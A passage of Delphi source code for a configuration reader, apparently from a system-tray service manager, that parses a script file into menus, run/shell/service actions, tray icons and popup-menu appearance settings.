const ParamInfo: array of TParamInfo;
var ParamNamesFound: array of Boolean): Integer;
function ISStrToBool(S: String): Boolean;
procedure ISStrToFont(const S: String; F: TFont);
procedure ValidateProperties;
public
{ PROPERTIES }
{ *** Script file buffer *** }
property Script: TStringList read FScript write SetScript;
{ *** Customizable objects *** }
property TrayIcon: TJvTrayIcon read FTrayIcon write FTrayIcon;
property ImageList: TImageList read FImageList write FImageList;
property Services: TObjectList read FServices write FServices;
property CheckServicesTimer: TTimer read FCheckServicesTimer write FCheckServicesTimer;
property Variables: TObjectList read FVariables write FVariables;
property DoubleClickAction: TTMMultiAction read FDoubleClickAction write FDoubleClickAction;
property StartupAction: TTMMultiAction read FStartupAction write FStartupAction;
property HtmlActions: TStringList read FHtmlActions write FHtmlActions;
{ *** Customizable settings *** }
property TrayIconAllRunning: Integer read FTrayIconAllRunning;
property TrayIconSomeRunning: Integer read FTrayIconSomeRunning;
property TrayIconNoneRunning: Integer read FTrayIconNoneRunning;
property AllRunningHint: String read FAllRunningHint;
property SomeRunningHint: String read FSomeRunningHint;
property NoneRunningHint: String read FNoneRunningHint;
property ServiceGlyphRunning: Integer read FServiceGlyphRunning;
property ServiceGlyphPaused: Integer read FServiceGlyphPaused;
property ServiceGlyphStopped: Integer read FServiceGlyphStopped;
property ID: String read FID;
property CustomAboutHeader: String read FCustomAboutHeader write FCustomAboutHeader;
property CustomAboutVersion: String read FCustomAboutVersion write FCustomAboutVersion;
property CustomAboutText: TStrings read FCustomAboutText write SetCustomAboutText;
{ *** Events *** }
property OnSelectMenuItem: TNotifyEvent read FOnSelectMenuItem write FOnSelectMenuItem;
property OnBuiltInActionExecute: TNotifyEvent read FOnBuiltInActionExecute write FOnBuiltInActionExecute;
{ METHODS }
{ *** General procs *** }
constructor Create;
destructor Destroy; override;
{ *** Key procs *** }
procedure ReadSettings;
procedure ReadBcBarPopupMenu(const BcBarPopupMenu: TBcBarPopupMenu;
const SectionName: String);
{ This procedure reads popup menu settings from a section
with name SectionName + MENUSETTINGSSUFFIX, and the menu
from the section with name SectionName }
procedure ReadMenu(const MenuItems: TMenuItem; const SectionName: String);
procedure ReadMultiAction(const MultiAction: TTMMultiAction;
const SectionName: String);
end;
implementation
uses TypInfo, JclStrings, Forms, Registry, JclFileUtils,
TMMsgs;
{ EParseError }
constructor EParseError.CreateLine(const Msg: String;
const LineNumber: Integer = -1);
begin
inherited Create(Msg);
Self.LineNumber := LineNumber;
end;
constructor EParseError.CreateLineFmt(const Msg: String;
Args: array of const; const LineNumber: Integer);
begin
inherited CreateFmt(Msg, Args);
Self.LineNumber := LineNumber;
end;
{ TTMConfigReader }
procedure TTMConfigReader.AbortParsing(const Msg: String);
begin
raise EParseError.CreateLine(Msg, LineNumber);
end;
procedure TTMConfigReader.AbortParsingFmt(const Msg: String;
const Args: array of const);
begin
raise EParseError.CreateLineFmt(Msg, Args, LineNumber);
end;
procedure TTMConfigReader.BreakString(S: PChar;
var Output: TBreakStringArray);
var
ColonPos, SemicolonPos, QuotePos, P, P2: PChar;
ParamName, Data: String;
QuoteFound, FirstQuoteFound, LastQuoteFound, AddChar, FirstNonspaceFound: Boolean;
CurParm, Len, I: Integer;
begin
CurParm := 0;
while (S <> nil) and (CurParm <= High(TBreakStringArray)) do begin
ColonPos := StrScan(S, ':');
if ColonPos = nil then
ParamName := StrPas(S)
else
SetString (ParamName, S, ColonPos-S);
ParamName := Trim(ParamName);
if ParamName = '' then Break;
if ColonPos = nil then
AbortParsingFmt(SParsingParamHasNoValue, [ParamName]);
S := ColonPos + 1;
SemicolonPos := StrScan(S, ';');
QuotePos := StrScan(S, '"');
QuoteFound := QuotePos <> nil;
if QuoteFound and (SemicolonPos <> nil) and (QuotePos > SemicolonPos) then
QuoteFound := False;
if not QuoteFound then begin
Data := '';
P := S;
if SemicolonPos <> nil then
P2 := SemicolonPos
else
P2 := StrEnd(S);
FirstNonspaceFound := False;
Len := 0;
I := 0;
while P < P2 do begin
if (P^ <> ' ') or FirstNonspaceFound then begin
FirstNonspaceFound := True;
Data := Data + P^;
Inc (I);
if P^ <> ' ' then Len := I;
end;
Inc (P);
end;
SetLength (Data, Len);
end
else begin
Data := '';
SemicolonPos := nil;
P := S;
FirstQuoteFound := False;
LastQuoteFound := False;
while P^ <> #0 do begin
AddChar := False;
case P^ of
' ': AddChar := FirstQuoteFound;
'"': if not FirstQuoteFound then
FirstQuoteFound := True
else begin
Inc (P);
if P^ = '"' then
AddChar := True
else begin
LastQuoteFound := True;
while P^ <> #0 do begin
case P^ of
' ': ;
';': begin
SemicolonPos := P;
Break;
end;
else
AbortParsingFmt(SParsingParamQuoteError, [ParamName]);
end;
Inc (P);
end;
Break;
end;
end;
else
if not FirstQuoteFound then
AbortParsingFmt(SParsingParamQuoteError, [ParamName]);
AddChar := True;
end;
if AddChar then
Data := Data + P^;
Inc (P);
end;
if not LastQuoteFound then
AbortParsingFmt(SParsingParamMissingClosingQuote, [ParamName]);
end;
S := SemicolonPos;
if S <> nil then Inc (S);
Output[CurParm].ParamName := ParamName;
Output[CurParm].ParamData := Data;
Inc (CurParm);
end;
end;
function TTMConfigReader.CompareParamName (const S: TBreakStringRec;
const ParamInfo: array of TParamInfo;
var ParamNamesFound: array of Boolean): Integer;
var
I: Integer;
begin
Result := -1;
for I := 0 to High(ParamInfo) do
if StrIComp(ParamInfo[I].Name, PChar(S.ParamName)) = 0 then begin
Result := I;
if ParamNamesFound[I] then
AbortParsingFmt(SParsingParamDuplicated, [ParamInfo[I].Name]);
ParamNamesFound[I] := True;
if (piNoEmpty in ParamInfo[I].Flags) and (S.ParamData = '') then
AbortParsingFmt(SParsingParamEmpty2, [ParamInfo[I].Name]);
if (piNoQuotes in ParamInfo[I].Flags) and (Pos('"', S.ParamData) <> 0) then
AbortParsingFmt(SParsingParamNoQuotes2, [ParamInfo[I].Name]);
Exit;
end;
{ Unknown parameter }
AbortParsingFmt(SParsingParamUnknownParam, [S.ParamName]);
end;
constructor TTMConfigReader.Create;
begin
inherited Create;
{ Memory initialization }
FScript := TStringList.Create;
FCustomAboutText := TStringList.Create;
{ Other inits }
FTrayIconAllRunning := -1;
FTrayIconSomeRunning := -1;
FTrayIconNoneRunning := -1;
FAllRunningHint := SDefAllRunningHint;
FSomeRunningHint := SDefSomeRunningHint;
FNoneRunningHint := SDefNoneRunningHint;
FServiceGlyphRunning := -1;
FServiceGlyphPaused := -1;
FServiceGlyphStopped := -1;
end;
destructor TTMConfigReader.Destroy;
begin
{ Free memory }
FreeAndNil(FCustomAboutText);
FreeAndNil(FScript);
inherited Destroy;
end;
procedure TTMConfigReader.EnumAboutText(const Line: PChar;
const Ext: Integer);
begin
CustomAboutText.Add(String(Line));
end;
procedure TTMConfigReader.EnumConfig(const Line: PChar; const Ext: Longint);
procedure LoadImageList(BitmapFile: String);
var
Bmp: TBitmap;
begin
Bmp := TBitmap.Create();
try
Bmp.LoadFromFile(BitmapFile);
with ImageList do
begin
Clear;
AddMasked(Bmp, Bmp.Canvas.Pixels[0, Bmp.Height-1]);
end; //with imagelist
finally
FreeAndNil(Bmp);
end; //try..finally
end;
var
KeyName, Value: String;
I, J: Integer;
Directive: TConfigSectionDirective;
MultiAction: TTMMultiAction;
begin
SeparateDirective(Line, KeyName, Value);
if KeyName = '' then
Exit;
I := GetEnumValue(TypeInfo(TConfigSectionDirective), 'cs' + KeyName);
if I = -1 then
AbortParsingFmt(SParsingUnknownDirective, ['Config', KeyName]);
Directive := TConfigSectionDirective(I);
if ConfigDirectiveLines[Directive] <> 0 then
AbortParsingFmt(SParsingEntryAlreadySpecified, ['Config', KeyName]);
ConfigDirectiveLines[Directive] := LineNumber;
case Directive of
csImageList: begin
try
Value := ExpandVariables(Value, Variables);
if PathIsAbsolute(Value) then
LoadImageList(Value)
else
LoadImageList(
PathAppend(ExtractFileDir(Application.ExeName), Value));
except
AbortParsingFmt(SParsingCouldNotLoadFile, [Value, KeyName]);
end;
end;
csServiceCheckInterval: begin
try
CheckServicesTimer.Interval := 1000 * StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
csTrayIconAllRunning: begin
if ConfigDirectiveLines[csTrayIcon] <> 0 then
AbortParsing(SParsingAmbiguousTrayIcon);
try
FTrayIconAllRunning := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
csTrayIconSomeRunning: begin
if ConfigDirectiveLines[csTrayIcon] <> 0 then
AbortParsing(SParsingAmbiguousTrayIcon);
try
FTrayIconSomeRunning := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
csTrayIconNoneRunning: begin
if ConfigDirectiveLines[csTrayIcon] <> 0 then
AbortParsing(SParsingAmbiguousTrayIcon);
try
FTrayIconNoneRunning := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
csTrayIcon: begin
if (ConfigDirectiveLines[csTrayIconAllRunning] <> 0) or
(ConfigDirectiveLines[csTrayIconSomeRunning] <> 0) or
(ConfigDirectiveLines[csTrayIconNoneRunning] <> 0) then
AbortParsing(SParsingAmbiguousTrayIcon);
try
Value := ExpandVariables(Value, Variables);
if PathIsAbsolute(Value) then
TrayIcon.Icon.LoadFromFile(Value)
else
TrayIcon.Icon.LoadFromFile(
PathAppend(ExtractFileDir(Application.ExeName), Value));
except
AbortParsingFmt(SParsingCouldNotLoadFile, [Value, KeyName]);
end;
end;
csServiceGlyphRunning: begin
try
FServiceGlyphRunning := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
csServiceGlyphPaused: begin
try
FServiceGlyphPaused := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
csServiceGlyphStopped: begin
try
FServiceGlyphStopped := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
csID:
FID := Value;
csAboutHeader:
CustomAboutHeader := Value;
csAboutVersion: begin
StrReplace(Value, '\n', #13#10, [rfReplaceAll, rfIgnoreCase]);
CustomAboutVersion := Value;
end;
csAboutTextFile: begin
if CustomAboutText.Count > 0 then
AbortParsing(SParsingAmbiguousAboutText);
try
Value := ExpandVariables(Value, Variables);
if PathIsAbsolute(Value) then
CustomAboutText.LoadFromFile(Value)
else
CustomAboutText.LoadFromFile(
PathAppend(ExtractFileDir(Application.ExeName), Value));
except
AbortParsingFmt(SParsingCouldNotLoadFile, [Value, KeyName]);
end;
end;
csHtmlActions: begin
StrTokenToStrings(Value, ' ', HtmlActions);
for J := 0 to (HtmlActions.Count - 1) do
begin
MultiAction := TTMMultiAction.Create;
try
ReadMultiAction(MultiAction, HtmlActions[J]);
except
FreeAndNil(MultiAction);
raise;
end; //try..except
HtmlActions.Objects[J] := MultiAction;
end;
end;
end; //case directive of
end;
procedure TTMConfigReader.EnumIniSection(const EnumProc: TEnumIniSectionProc;
const SectionName: String; const Ext: Longint);
var
FoundSection: Boolean;
B, L, LastSection: String;
I: Integer;
begin
FoundSection := False;
LineNumber := 0;
LastSection := '';
while LineNumber < Script.Count do
begin
B := Script[LineNumber];
Inc(LineNumber);
L := Trim(B);
{ Check for blank lines or comments }
if (L = '') then
Continue
else
if L[1] = ';' then
Continue;
if L[1] = '[' then
begin
{ Section tag }
I := Pos(']', L);
if I < 3 then
AbortParsing(SParsingSectionTagInvalid);
L := Copy(L, 2, I-2);
if L[1] = '/' then
begin
L := Copy(L, 2, Maxint);
if (LastSection = '') or (not SameText(L, LastSection)) then
AbortParsingFmt(SParsingSectionBadEndTag, [L]);
FoundSection := False;
LastSection := '';
end
else
begin
FoundSection := (CompareText(L, SectionName) = 0);
LastSection := L;
end;
end
else
begin
if not FoundSection then
begin
if LastSection = '' then
AbortParsing(SParsingTextNotInSection);
Continue; { not on the right section }
end;
EnumProc(PChar(B), Ext);
end;
end;
end;
procedure TTMConfigReader.EnumMenuItems(const Line: PChar;
const Ext: Longint);
const
ParamNames: array[0..20] of TParamInfo = (
(Name: ParamMenuItemType; Flags: [piNoEmpty]), //0
(Name: ParamMenuItemCaption; Flags: []), //1
(Name: ParamMenuItemGlyph; Flags: []),
(Name: ParamMenuItemSection; Flags: []),
(Name: ParamActionAction; Flags: []),
(Name: ParamActionFileName; Flags: [piNoQuotes]), //5
(Name: ParamActionParams; Flags: []),
(Name: ParamActionWorkingDir; Flags: []),
(Name: ParamActionShowCmd; Flags: []),
(Name: ParamActionShellExecVerb; Flags: []),
(Name: ParamActionMultiSection; Flags: []), //10
(Name: ParamServiceService; Flags: []),
(Name: ParamActionServiceAction; Flags: []),
(Name: ParamActionHtmlSrc; Flags: []),
(Name: ParamActionHtmlHeader; Flags: []),
(Name: ParamActionHtmlWindowFlags; Flags: []), //15
(Name: ParamActionHtmlHeight; Flags: []),
(Name: ParamActionHtmlWidth; Flags: []),
(Name: ParamActionHtmlLeft; Flags: []),
(Name: ParamActionHtmlTop; Flags: []),
(Name: ParamActionFlags; Flags: [])); //20
var
Params: TBreakStringArray;
ParamNameFound: array[Low(ParamNames)..High(ParamNames)] of Boolean;
NewMenuItem: TMenuItem;
P, I, FoundIndex: Integer;
B: TBuiltInAction;
ParentMenu: TMenuItem;
TMAction: TTMAction;
ItemType: TMenuItemType;
begin
ParentMenu := TMenuItem(Ext);
ItemType := mitItem;
TMAction := nil;
FillChar(ParamNameFound, SizeOf(ParamNameFound), 0);
BreakString(Line, Params);
NewMenuItem := TMenuItem.Create(ParentMenu);
try
with NewMenuItem do
begin
for P := Low(Params) to High(Params) do
with Params[P] do
begin
if ParamName = '' then
System.Break;
case CompareParamName(Params[P], ParamNames, ParamNameFound) of
0: begin
ParamData := UpperCase(Trim(ParamData));
if ParamData = 'ITEM' then
ItemType := mitItem
else if ParamData = 'SEPARATOR' then
begin
ItemType := mitSeparator;
Caption := '-';
end
else if ParamData = 'SERVICESUBMENU' then
ItemType := mitServiceSubMenu
else if ParamData = 'SUBMENU' then
ItemType := mitSubMenu
else
AbortParsingFmt(SParsingUnknownMenuItemType, [ParamData]);
end;
1: begin
if ItemType = mitSeparator then
Hint := ParamData
else
Caption := ParamData;
end;
2: begin
if ItemType in [mitSeparator, mitServiceSubMenu] then
AbortParsingFmt(SParsingInvalidMenuItemParam, [ParamName]);
try
ImageIndex := StrToInt(ParamData);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [ParamName]);
end;
end;
3: begin
if not (ItemType in [mitSubMenu, mitServiceSubMenu]) then
AbortParsingFmt(SParsingInvalidMenuItemParam, [ParamName]);
ReadMenu(NewMenuItem, ParamData);
end;
4: begin
if ItemType <> mitItem then
AbortParsingFmt(SParsingInvalidMenuItemParam, [ParamName]);
ParamData := UpperCase(Trim(ParamData));
if ParamData = 'RUN' then
begin
TMAction := TTMRunAction.Create;
(TMAction as TTMRunAction).Variables := Variables;
end
else if ParamData = 'SHELLEXECUTE' then
begin
TMAction := TTMShellExecuteAction.Create;
(TMAction as TTMShellExecuteAction).Variables := Variables;
end
else if ParamData = 'SERVICE' then
TMAction := TTMServiceAction.Create
else if ParamData = 'MULTI' then
TMAction := TTMMultiAction.Create
else if ParamData = 'HTMLWINDOW' then
begin
TMAction := TTMHtmlWindowAction.Create;
with (TMAction as TTMHtmlWindowAction) do
begin
Variables := Self.Variables;
HtmlActions := Self.HtmlActions;
end; //tmaction as ttmhtmlwindowaction
end
else
begin
FoundIndex := -1;
for B := Low(B) to High(B) do
if SameText('BIA' + ParamData,
UpperCase(GetEnumName(TypeInfo(TBuiltInAction), Ord(B)))) then
begin
FoundIndex := 0;
TMAction := TTMBuiltInAction.Create(B);
with TMAction as TTMBuiltInAction do
OnExecute := OnBuiltInActionExecute;
System.Break;
end; //if sametext
if FoundIndex = -1 then
AbortParsingFmt(SParsingUnknownActionType, [ParamData]);
end;
end;
5: begin
if (TMAction is TTMRunAction) then
(TMAction as TTMRunAction).FileName := ParamData
else if (TMAction is TTMShellExecuteAction) then
(TMAction as TTMShellExecuteAction).FileName := ParamData
else
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
end;
6: begin
if (TMAction is TTMRunAction) then
(TMAction as TTMRunAction).Parameters := ParamData
else if (TMAction is TTMShellExecuteAction) then
(TMAction as TTMShellExecuteAction).Parameters := ParamData
else
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
end;
7: begin
if (TMAction is TTMRunAction) then
(TMAction as TTMRunAction).WorkingDir := ParamData
else if (TMAction is TTMShellExecuteAction) then
(TMAction as TTMShellExecuteAction).WorkingDir := ParamData
else
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
end;
8: begin
ParamData := UpperCase(Trim(ParamData));
if (TMAction is TTMRunAction) then
with TMAction as TTMRunAction do
if ParamData = 'NORMAL' then
ShowCmd := swNormal
else if ParamData = 'HIDDEN' then
ShowCmd := swHidden
else if ParamData = 'MAXIMIZED' then
ShowCmd := swMaximized
else if ParamData = 'MINIMIZED' then
ShowCmd := swMinimized
else
AbortParsingFmt(SParsingUnknownShowCmd, [ParamData])
else if (TMAction is TTMShellExecuteAction) then
with TMAction as TTMShellExecuteAction do
if ParamData = 'NORMAL' then
ShowCmd := swNormal
else if ParamData = 'HIDDEN' then
ShowCmd := swHidden
else if ParamData = 'MAXIMIZED' then
ShowCmd := swMaximized
else if ParamData = 'MINIMIZED' then
ShowCmd := swMinimized
else
AbortParsingFmt(SParsingUnknownShowCmd, [ParamData])
else
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
end;
9: begin
if not (TMAction is TTMShellExecuteAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName])
else
(TMAction as TTMShellExecuteAction).Verb := ParamData;
end;
10: begin
if not (TMAction is TTMMultiAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName])
else
ReadMultiAction(TMAction as TTMMultiAction, ParamData);
end;
11: begin
if (TMAction is TTMServiceAction) or (ItemType = mitServiceSubMenu) then
begin
//We first have to search for the service in the
// "Services" list
FoundIndex := -1;
for I := 0 to Services.Count - 1 do
if SameText((Services[I] as TTMService).ServiceName, Trim(ParamData)) then
begin
FoundIndex := I;
System.Break;
end;
if FoundIndex = -1 then
AbortParsingFmt(SParsingParamUnknownService, [ParamName]);
if TMAction is TTMServiceAction then
(TMAction as TTMServiceAction).Service :=
(Services[FoundIndex] as TTMService)
else
Tag := Longint(Services[FoundIndex]);
end
else //tmaction is ttmserviceaction or itemtype = mitservicesubmenu
AbortParsing(SParsingServiceParamInvalid);
end;
12: begin
if not (TMAction is TTMServiceAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
ParamData := UpperCase(Trim(ParamData));
with TMAction as TTMServiceAction do
if ParamData = 'STARTRESUME' then
Action := saStartResume
else if ParamData = 'PAUSE' then
Action := saPause
else if ParamData = 'STOP' then
Action := saStop
else if ParamData = 'RESTART' then
Action := saRestart
else
AbortParsingFmt(SParsingInvalidServiceAction, [ParamData]);
end;
13: begin
if not (TMAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
(TMAction as TTMHtmlWindowAction).Src := ParamData;
end;
14: begin
if not (TMAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
(TMAction as TTMHtmlWindowAction).Header := ParamData;
end;
15: begin
if not (TMAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
with (TMAction as TTMHtmlWindowAction) do
while True do
case ExtractFlag(ParamData, TMStruct.HtmlWindowFlags) of
-2: System.Break;
-1: AbortParsingFmt(SParsingParamUnknownFlag2, [ParamName]);
0: HtmlWindowFlags := HtmlWindowFlags + [hwfMaximized];
1: HtmlWindowFlags := HtmlWindowFlags + [hwfNoResize];
2: HtmlWindowFlags := HtmlWindowFlags + [hwfNoScrollbars];
3: HtmlWindowFlags := HtmlWindowFlags + [hwfEnableContextMenu];
4: HtmlWindowFlags := HtmlWindowFlags + [hwfNoCloseButton];
5: HtmlWindowFlags := HtmlWindowFlags + [hwfNoHeader];
6: HtmlWindowFlags := HtmlWindowFlags + [hwfAlwaysOnTop];
end; //with (..) do while true do case extractflag of
end;
16: begin
if not (TMAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
try
(TMAction as TTMHtmlWindowAction).Height := StrToInt(ParamData);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [ParamName]);
end;
end;
17: begin
if not (TMAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
try
(TMAction as TTMHtmlWindowAction).Width := StrToInt(ParamData);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [ParamName]);
end;
end;
18: begin
if not (TMAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
try
(TMAction as TTMHtmlWindowAction).Left := StrToInt(ParamData);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [ParamName]);
end;
end;
19: begin
if not (TMAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
try
(TMAction as TTMHtmlWindowAction).Top := StrToInt(ParamData);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [ParamName]);
end;
end;
20: begin
if not Assigned(TMAction) then
AbortParsing(SParsingCannotAssignActionFlagsYet);
while True do
case ExtractFlag(ParamData, ActionFlags) of
-2: System.Break;
-1: AbortParsingFmt(SParsingParamUnknownFlag2, [ParamName]);
0: TMAction.Flags := TMAction.Flags + [afIgnoreErrors];
1: TMAction.Flags := TMAction.Flags + [afWaitUntilTerminated];
2: TMAction.Flags := TMAction.Flags + [afWaitUntilIdle];
end; //while true do case extractflag of
end;
end; //case
end; //for p do with params[p] do
{ Validation }
//Type:
if (not ParamNameFound[0]) then
AbortParsingFmt(SParsingParamExpected, [ParamMenuItemType]);
//Caption:
if (ItemType in [mitSubMenu, mitItem]) and (not ParamNameFound[1]) then
AbortParsingFmt(SParsingParamExpected, [ParamMenuItemCaption]);
//SubMenu:
if (ItemType in [mitSubMenu, mitServiceSubMenu]) and
(not ParamNameFound[3]) then
AbortParsingFmt(SParsingParamExpected, [ParamMenuItemSection]);
//Service:
if ((ItemType = mitServiceSubMenu) or (TMAction is TTMServiceAction))
and (not ParamNameFound[11]) then
AbortParsingFmt(SParsingParamExpected, [ParamServiceService]);
//FileName:
if ((TMAction is TTMRunAction) or (TMAction is TTMShellExecuteAction))
and (not ParamNameFound[5]) then
AbortParsingFmt(SParsingParamExpected, [ParamActionFileName]);
//Action:
if (ItemType = mitItem) and (not ParamNameFound[4]) then
AbortParsingFmt(SParsingParamExpected, [ParamActionAction]);
//Actions:
if (TMAction is TTMMultiAction) and (not ParamNameFound[10]) then
AbortParsingFmt(SParsingParamExpected, [ParamActionMultiSection]);
//ServiceAction:
if (TMAction is TTMServiceAction) and (not ParamNameFound[12]) then
AbortParsingFmt(SParsingParamExpected, [ParamActionServiceAction]);
//Flags:
if Assigned(TMAction) then
begin
if (afWaitUntilTerminated in TMAction.Flags) and
(not ((TMAction is TTMRunAction) or (TMAction is TTMServiceAction))) then
AbortParsingFmt(SParsingInvalidActionFlag, ['waituntilterminated']);
if (afWaitUntilIdle in TMAction.Flags) and
(not ((TMAction is TTMRunAction) or (TMAction is TTMServiceAction))) then
AbortParsingFmt(SParsingInvalidActionFlag, ['waituntilidle']);
end; //if assigned(tmaction)
end; //with newserviceitem
except
on E: Exception do
begin
FreeAndNil(NewMenuItem);
AbortParsing(E.Message);
Exit;
end;
end;
if ItemType = mitItem then
with NewMenuItem do
begin
Tag := Longint(TMAction);
OnClick := OnSelectMenuItem;
end; //if itemtype = mititem with newmenuitem do
ParentMenu.Add(NewMenuItem);
end;
procedure TTMConfigReader.EnumMenuSettings(const Line: PChar; const Ext: Longint);
var
KeyName, Value: String;
I: Integer;
Directive: TMenuSectionDirective;
begin
SeparateDirective(Line, KeyName, Value);
if KeyName = '' then
Exit;
I := GetEnumValue(TypeInfo(TMenuSectionDirective), 'mn' + KeyName);
if I = -1 then
AbortParsingFmt(SParsingUnknownDirective, ['Menu.*.Settings', KeyName]);
Directive := TMenuSectionDirective(I);
if MenuDirectiveLines[Directive] <> 0 then
AbortParsingFmt(SParsingEntryAlreadySpecified, ['Menu.*.Settings', KeyName]);
MenuDirectiveLines[Directive] := LineNumber;
with TBcBarPopupMenu(Ext) do
case Directive of
mnAutoHotkeys: begin
if ISStrToBool(Value) then
AutoHotkeys := maAutomatic
else
AutoHotkeys := maManual;
end;
mnAutoLineReduction: begin
if ISStrToBool(Value) then
AutoLineReduction := maAutomatic
else
AutoLineReduction := maManual;
end;
mnBarBackPictureDrawStyle: begin
Value := UpperCase(Trim(Value));
with Bar.BarBackPicture do
if Value = 'NORMAL' then
DrawStyle := BarMenus.dsNormal
else if Value = 'STRETCH' then
DrawStyle := BarMenus.dsStretch
else if Value = 'TILE' then
DrawStyle := BarMenus.dsTile
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnBarBackPictureHorzAlignment: begin
Value := UpperCase(Trim(Value));
with Bar.BarBackPicture do
if Value = 'LEFT' then
HorzAlignment := haLeft
else if Value = 'CENTER' then
HorzAlignment := haCenter
else if Value = 'RIGHT' then
HorzAlignment := haRight
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnBarBackPictureOffsetX: begin
try
Bar.BarBackPicture.OffsetX := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
mnBarBackPictureOffsetY: begin
try
Bar.BarBackPicture.OffsetY := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
mnBarBackPicturePicture: begin
try
if PathIsAbsolute(Value) then
Bar.BarBackPicture.Picture.LoadFromFile(Value)
else
Bar.BarBackPicture.Picture.LoadFromFile(
PathAppend(ExtractFileDir(Application.ExeName), Value));
except
AbortParsingFmt(SParsingCouldNotLoadFile, [Value, KeyName]);
end;
Bar.BarBackPicture.Visible := True;
end;
mnBarBackPictureTransparent:
Bar.BarBackPicture.Transparent := ISStrToBool(Value);
mnBarBackPictureVertAlignment: begin
Value := UpperCase(Trim(Value));
with Bar.BarBackPicture do
if Value = 'TOP' then
VertAlignment := vaTop
else if Value = 'MIDDLE' then
VertAlignment := vaMiddle
else if Value = 'BOTTOM' then
VertAlignment := vaBottom
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnBarCaptionAlignment: begin
Value := UpperCase(Trim(Value));
with Bar.BarCaption do
if Value = 'TOP' then
Alignment := vaTop
else if Value = 'MIDDLE' then
Alignment := vaMiddle
else if Value = 'BOTTOM' then
Alignment := vaBottom
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnBarCaptionCaption: begin
with Bar.BarCaption do
begin
Caption := Value;
Visible := True;
end; //with bar.barcaption
end;
mnBarCaptionDepth: begin
try
Bar.BarCaption.Depth := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
mnBarCaptionDirection: begin
Value := UpperCase(Trim(Value));
with Bar.BarCaption do
if Value = 'DOWNTOUP' then
Direction := dDownToUp
else if Value = 'UPTODOWN' then
Direction := dUpToDown
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnBarCaptionFont:
ISStrToFont(Value, Bar.BarCaption.Font);
mnBarCaptionHighlightColor: begin
try
Bar.BarCaption.HighlightColor := StringToColor(Value);
except
AbortParsingFmt(SParsingInvalidColor, [KeyName]);
end;
end;
mnBarCaptionOffsetY: begin
try
Bar.BarCaption.OffsetY := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
mnBarCaptionShadowColor: begin
try
Bar.BarCaption.ShadowColor := StringToColor(Value);
except
AbortParsingFmt(SParsingInvalidColor, [KeyName]);
end;
end;
mnBarPictureHorzAlignment: begin
Value := UpperCase(Trim(Value));
with Bar.BarPicture do
if Value = 'LEFT' then
HorzAlignment := haLeft
else if Value = 'CENTER' then
HorzAlignment := haCenter
else if Value = 'RIGHT' then
HorzAlignment := haRight
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnBarPictureOffsetX: begin
try
Bar.BarPicture.OffsetX := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
mnBarPictureOffsetY: begin
try
Bar.BarPicture.OffsetY := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
mnBarPicturePicture: begin
try
if PathIsAbsolute(Value) then
Bar.BarPicture.Picture.LoadFromFile(Value)
else
Bar.BarPicture.Picture.LoadFromFile(
PathAppend(ExtractFileDir(Application.ExeName), Value));
except
AbortParsingFmt(SParsingCouldNotLoadFile, [Value, KeyName]);
end;
Bar.BarPicture.Visible := True;
end;
mnBarPictureTransparent:
Bar.BarPicture.Transparent := ISStrToBool(Value);
mnBarPictureVertAlignment: begin
Value := UpperCase(Trim(Value));
with Bar.BarPicture do
if Value = 'TOP' then
VertAlignment := vaTop
else if Value = 'MIDDLE' then
VertAlignment := vaMiddle
else if Value = 'BOTTOM' then
VertAlignment := vaBottom
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnBarBorder: begin
try
Bar.Border := StringToColor(Value);
except
AbortParsingFmt(SParsingInvalidColor, [KeyName]);
end;
end;
mnBarGradientEnd: begin
try
Bar.GradientEnd := StringToColor(Value);
except
